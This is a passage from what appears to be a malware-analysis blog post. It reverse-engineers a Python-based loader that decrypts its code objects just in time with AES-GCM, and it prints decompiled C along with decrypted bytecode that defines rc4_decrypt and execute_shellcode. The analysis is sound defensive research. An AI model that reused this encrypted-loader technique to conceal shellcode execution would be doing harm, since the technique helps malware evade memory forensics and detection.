  &lt;li&gt;When looking at where the bytecode is defined in the decrypted binary data, the high entropy (encrypted) area happens to start directly after the chain of NOPs at the end&lt;/li&gt;
  &lt;li&gt;The first encrypted offset (26/0x1a) is also present in the conspicuous bytes string that is loaded at offset 8. Furthermore, the byte after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\x1a&lt;/code&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt; aka 0x40) is a good match for the size of the encrypted area&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Looking at the code for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c_enter_co_object&lt;/code&gt;, we see the following:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret_zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;__fastcall&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;52&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// some sort of iv mutator? not used in our case&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;iv_offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;__int8&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_QWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v13&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv_func&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;v2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cryptsize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_DWORD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;args&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;assume12&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_BYTE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecrypto&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;assume12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_add_aad_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0LL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gcm_process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gcm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptsize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;__int64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codeptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptstart&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v19&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks similar enough to what we’ve seen before, right? It’s AES-GCM again with the same key.&lt;/p&gt;

&lt;p&gt;Based on how the parameters are used in the GCM functions and what we deduced earlier, we can tell that the bytes string we saw in the bytecode starts at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;args + 32&lt;/code&gt;.
The GCM IV location is obtained through a series of offsets computations.
In our case, it was always located right after the ciphertext.
Unlike earlier, the IV bytes are not split up.
However, there seems to be some capability to run the IV through an additional function for unknown purposes (possibly to mutate it?).&lt;/p&gt;

&lt;p&gt;Essentially, what we’re dealing with here is just-in-time decryption.
The code is decrypted, executed, and then re-encrypted.
This means that functions that are not currently being executed are not available in plaintext even if you dump the process memory.&lt;/p&gt;

&lt;p&gt;We decided to write a script that parses the code objects, extracts the bytes string to find the ciphertext and IV, and generates a file that basically describes where and how to apply GCM in the raw decrypted script.
This description can then be used by a normal Python installation in order to do the decryption (it seemed prudent to use our modified Python as little as possible - in particular, we didn’t feel like attempting to run Pycryptodome on it).&lt;/p&gt;

&lt;h3 id=&quot;finally-decrypted&quot;&gt;Finally decrypted&lt;/h3&gt;

&lt;p&gt;Here’s the decrypted continuation of the bytecode we had earlier:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;26&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NOP&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMPORT_NAME&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;34&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ctypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;38&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;40&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;IMPORT_NAME&lt;/span&gt;              &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;42&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rc4_decrypt&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5e6298eb3bd0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;46&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKE_FUNCTION&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;48&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rc4_decrypt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_CONST&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5e6298ec0560&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;file&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;frozen JAN-X1&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;27&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;52&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAKE_FUNCTION&lt;/span&gt;            &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;54&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;STORE_NAME&lt;/span&gt;               &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

 &lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;          &lt;span class=&quot;mi&quot;&gt;56&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PUSH_NULL&lt;/span&gt;
             &lt;span class=&quot;mi&quot;&gt;58&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LOAD_NAME&lt;/span&gt;                &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;execute_shellcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
